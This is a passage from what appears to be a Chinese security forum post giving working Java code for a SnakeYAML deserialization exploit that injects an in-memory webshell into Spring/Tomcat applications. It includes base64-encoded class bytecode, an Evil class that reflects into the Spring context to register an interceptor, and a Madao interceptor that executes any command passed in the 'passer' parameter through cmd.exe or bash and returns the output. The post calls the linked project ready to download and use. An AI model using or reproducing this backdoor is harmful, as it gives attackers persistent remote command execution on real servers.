nVaeTlUZEhKcGJtZENkV2xzWkdWeU93RUFIQ2hES1V4cVlYWmhMMnhoYm1jdlUzUnlhVzVuUW5WcGJHUmxjanNCQUFoMGIxTjBjbWx1WndFQUQyZGxkRTkxZEhCMWRGTjBjbVZoYlFFQUpTZ3BUR3BoZG1GNEwzTmxjblpzWlhRdlUyVnlkbXhsZEU5MWRIQjFkRk4wY21WaGJUc0JBQWhuWlhSQ2VYUmxjd0VBQkNncFcwSUJBQ0ZxWVhaaGVDOXpaWEoyYkdWMEwxTmxjblpzWlhSUGRYUndkWFJUZEhKbFlXMEJBQVYzY21sMFpRRUFCU2hiUWlsV0FRQUZabXgxYzJnQkFBVmpiRzl6WlFFQUNYTmxibVJGY25KdmNnRUFCQ2hKS1ZZQUlRQWhBQ0lBQUFBQUFBSUFBUUFqQUNRQUFRQWxBQUFBTHdBQkFBRUFBQUFGS3JjQUFiRUFBQUFDQUNZQUFBQUdBQUVBQUFBS0FDY0FBQUFNQUFFQUFBQUZBQ2dBS1FBQUFBRUFLZ0FyQUFJQUpRQUFBZDBBQlFBSkFBQUEzQ3NTQXJrQUF3SUF4Z0RTS3hJQ3VRQURBZ0E2QkJrRXhnQzRFZ1M0QUFXMkFBWVNCN1lBQ0prQUliZ0FDUWE5QUFwWkF4SUxVMWtFRWd4VFdRVVpCRk8yQUEwNkJhY0FIcmdBQ1FhOUFBcFpBeElPVTFrRUVnOVRXUVVaQkZPMkFBMDZCYnNBRUZtN0FCRlpHUVcyQUJLM0FCTzNBQlE2QnJzQUZWbTNBQlk2QnhrR3RnQVhXVG9JeGdBZ0dRZTdBQlZadHdBV0dRaTJBQmdRQ3JZQUdiWUFHcllBR0Zlbi85c3N1UUFiQVFBWkI3WUFHcllBSExZQUhTeTVBQnNCQUxZQUhpeTVBQnNCQUxZQUg2Y0FEQ3dSQVpTNUFDQUNBQU9zQkt3QUFBQURBQ1lBQUFCR0FCRUFBQUFNQUFzQURRQVZBQTRBR2dBUUFDb0FFUUJJQUJNQVl3QVdBSGdBRndDQkFCb0FqQUFiQUtrQUhnQzZBQjhBd3dBZ0FNd0FJUURQQUNJQTJBQWtBTm9BSmdBbkFBQUFaZ0FLQUVVQUF3QXNBQzBBQlFCakFHa0FMQUF0QUFVQWVBQlVBQzRBTHdBR0FJRUFTd0F3QURFQUJ3Q0pBRU1BTWdBekFBZ0FGUURGQURRQU13QUVBQUFBM0FBb0FDa0FBQUFBQU53QU5RQTJBQUVBQUFEY0FEY0FPQUFDQUFBQTNBQTVBRG9BQXdBN0FBQUFOd0FIL0FCSUJ3QTgvQUFhQndBOS9RQWRCd0ErQndBLy9BQW5Cd0E4L3dBbEFBVUhBRUFIQUVFSEFFSUhBRU1IQUR3QUFBajZBQUVBUkFBQUFBUUFBUUJGQUFFQVJnQUFBQUlBUnc9PQwAXgBfDAC8ALcMAL0AvgcAvwwAwABGDADBAKMHAMIMAMMAxgcAxwwAyADJDADKAMsBAA5hcnRzcGxvaXQvRXZpbAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQASamF2YS91dGlsL0l0ZXJhdG9yAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQANZ2V0U3VwZXJjbGFzcwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACGl0ZXJhdG9yA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");
            evilClass.newInstance();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }




    public static Class defineClass(ClassLoader classLoader, String classByte) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
        defineClass.setAccessible(true);
        byte[] evalBytes = Base64.getDecoder().decode(classByte);
        return (Class<?>) defineClass.invoke(classLoader, new Object[]{evalBytes, 0, evalBytes.length});
    }

    public String getEngineName() {
        return null;
    }

    public String getEngineVersion() {
        return null;
    }

    public List<String> getExtensions() {
        return null;
    }

    public List<String> getMimeTypes() {
        return null;
    }

    public List<String> getNames() {
        return null;
    }

    public String getLanguageName() {
        return null;
    }

    public String getLanguageVersion() {
        return null;
    }

    public Object getParameter(String key) {
        return null;
    }

    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    public String getOutputStatement(String toDisplay) {
        return null;
    }

    public String getProgram(String... statements) {
        return null;
    }

    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Evil.class

package artsploit;

import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class Evil {
    public Evil() throws Exception {
        // 从当前线程取出上下文,适用于多线程情况 -> 会报错,还是反射调用吧
        // Context tomcatEmbeddedContext = ((TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader()).getResources().getContext();
        ClassLoader tomcatClassLoader = Thread.currentThread().getContextClassLoader();
        Method getResources = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getMethod("getResources");


        Object resources = getResources.invoke(tomcatClassLoader);
        Method getContext = getResources.invoke(tomcatClassLoader).getClass().getMethod("getContext");
        Object tomcatEmbeddedContext = (Object) getContext.invoke(resources);


        // 取出 ApplicationContext
        Field contextField = getContext.invoke(resources).getClass().getSuperclass().getDeclaredField("context");
        contextField.setAccessible(true);

        Object applicationContext = (Object) contextField.get(tomcatEmbeddedContext);
        Method getAttribute = contextField.get(tomcatEmbeddedContext).getClass().getMethod("getAttribute", String.class);

        Object webApplicationContext = (Object) getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT");
        Class<?> abstractApplicationContext = getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT").getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();


        Method getBean = abstractApplicationContext.getMethod("getBean", String.class);
        Method getBeanDefinitionNames = abstractApplicationContext.getMethod("getBeanDefinitionNames");

        // 测试输出所有 Bean 成功
//            Object[] result = (Object[]) getBeanDefinitionNames.invoke(webApplicationContext);
//            for(Object r:result){
//                System.out.println(r.toString());
//            }

        // 单例模式,不能用 getBean -> SingletonObjects
        Object abstractHandlerMapping = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping");
        // 反射获取adaptedInterceptors属性
        Field field = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping").getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");

        field.setAccessible(true);
        System.out.println("1ok");
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
        for (Object i : adaptedInterceptors) {
            if (i.getClass().getName().contains("Madao")) {
                return;
            }
        }

        // 获取主线程的类加载器
        Method getParentCLassLoader = getContext.invoke(resources).getClass().getMethod("getParentClassLoader");
        ClassLoader parentClassLoader = (ClassLoader) getParentCLassLoader.invoke(tomcatEmbeddedContext);
        Class<?> madaoClass = defineClass(parentClassLoader, "yv66vgAAADQAlQoAIgBICABJCwBKAEsIAEwKAE0ATgoACgBPCABQCgAKAFEKAFIAUwcAVAgAVQgAVgoAUgBXCABYCABZBwBaBwBbCgBcAF0KABEAXgoAEABfBwBgCgAVAEgKABAAYQoAFQBiCgAVAGMKABUAZAsAZQBmCgAKAGcKAGgAaQoAaABqCgBoAGsLAGUAbAcAbQcAbgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQARTGFydHNwbG9pdC9NYWRhbzsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA2NtZAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQANU3RhY2tNYXBUYWJsZQcAVAcAbwcAWgcAYAcAbQcAcAcAcQcAcgEACkV4Y2VwdGlvbnMHAHMBAApTb3VyY2VGaWxlAQAKTWFkYW8uamF2YQwAIwAkAQAGcGFzc2VyBwBwDAB0AHUBAAdvcy5uYW1lBwB2DAB3AHUMAHgAeQEAA3dpbgwAegB7BwB8DAB9AH4BABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAB/AIABAARiYXNoAQACLWMBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAbwwAgQCCDAAjAIMMACMAhAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDACFAHkMAIYAhwwAhgCIDACJAHkHAHEMAIoAiwwAjACNBwCODACPAJAMAJEAJAwAkgAkDACTAJQBAA9hcnRzcGxvaXQvTWFkYW8BAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAEWphdmEvbGFuZy9Qcm9jZXNzAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAHChDKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBAAhnZXRCeXRlcwEABCgpW0IBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAVjbG9zZQEACXNlbmRFcnJvcgEABChJKVYAIQAhACIAAAAAAAIAAQAjACQAAQAlAAAALwABAAEAAAAFKrcAAbEAAAACACYAAAAGAAEAAAAKACcAAAAMAAEAAAAFACgAKQAAAAEAKgArAAIAJQAAAd0ABQAJAAAA3CsSArkAAwIAxgDSKxICuQADAgA6BBkExgC4EgS4AAW2AAYSB7YACJkAIbgACQa9AApZAxILU1kEEgxTWQUZBFO2AA06BacAHrgACQa9AApZAxIOU1kEEg9TWQUZBFO2AA06BbsAEFm7ABFZGQW2ABK3ABO3ABQ6BrsAFVm3ABY6BxkGtgAXWToIxgAgGQe7ABVZtwAWGQi2ABgQCrYAGbYAGrYAGFen/9ssuQAbAQAZB7YAGrYAHLYAHSy5ABsBALYAHiy5ABsBALYAH6cADCwRAZS5ACACAAOsBKwAAAADACYAAABGABEAAAAMAAsADQAVAA4AGgAQACoAEQBIABMAYwAWAHgAFwCBABoAjAAbAKkAHgC6AB8AwwAgAMwAIQDPACIA2AAkANoAJgAnAAAAZgAKAEUAAwAsAC0ABQBjAGkALAAtAAUAeABUAC4ALwAGAIEASwAwADEABwCJAEMAMgAzAAgAFQDFADQAMwAEAAAA3AAoACkAAAAAANwANQA2AAEAAADcADcAOAACAAAA3AA5ADoAAwA7AAAANwAH/ABIBwA8/AAaBwA9/QAdBwA+BwA//AAnBwA8/wAlAAUHAEAHAEEHAEIHAEMHADwAAAj6AAEARAAAAAQAAQBFAAEARgAAAAIARw==");
        adaptedInterceptors.add(madaoClass.newInstance());
    }

    public static Class defineClass(ClassLoader classLoader, String classByte) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
        defineClass.setAccessible(true);
        byte[] evalBytes = Base64.getDecoder().decode(classByte);
        return (Class<?>) defineClass.invoke(classLoader, new Object[]{evalBytes, 0, evalBytes.length});
    }
}

MaDao.class

package artsploit;

import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Madao  extends HandlerInterceptorAdapter {
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        if (request.getParameter("passer") != null) {
            String cmd = request.getParameter("passer");
            if (cmd != null) {
                Process process;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
                } else {
                    process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});
                }

                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();

                String line;
                while((line = bufferedReader.readLine()) != null) {
                    stringBuilder.append(line + '\n');
                }

                response.getOutputStream().write(stringBuilder.toString().getBytes());
                response.getOutputStream().flush();
                response.getOutputStream().close();
            } else {
                response.sendError(404);
            }
            return false;
        }
        return true;
    }
}

只需打包AwesomeScriptEngineFactory.class即可,访问测试:

成功注入:

项目地址:https://github.com/passer-W/snakeyaml-memshell ,可直接下载使用。

点击收藏 | 2 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖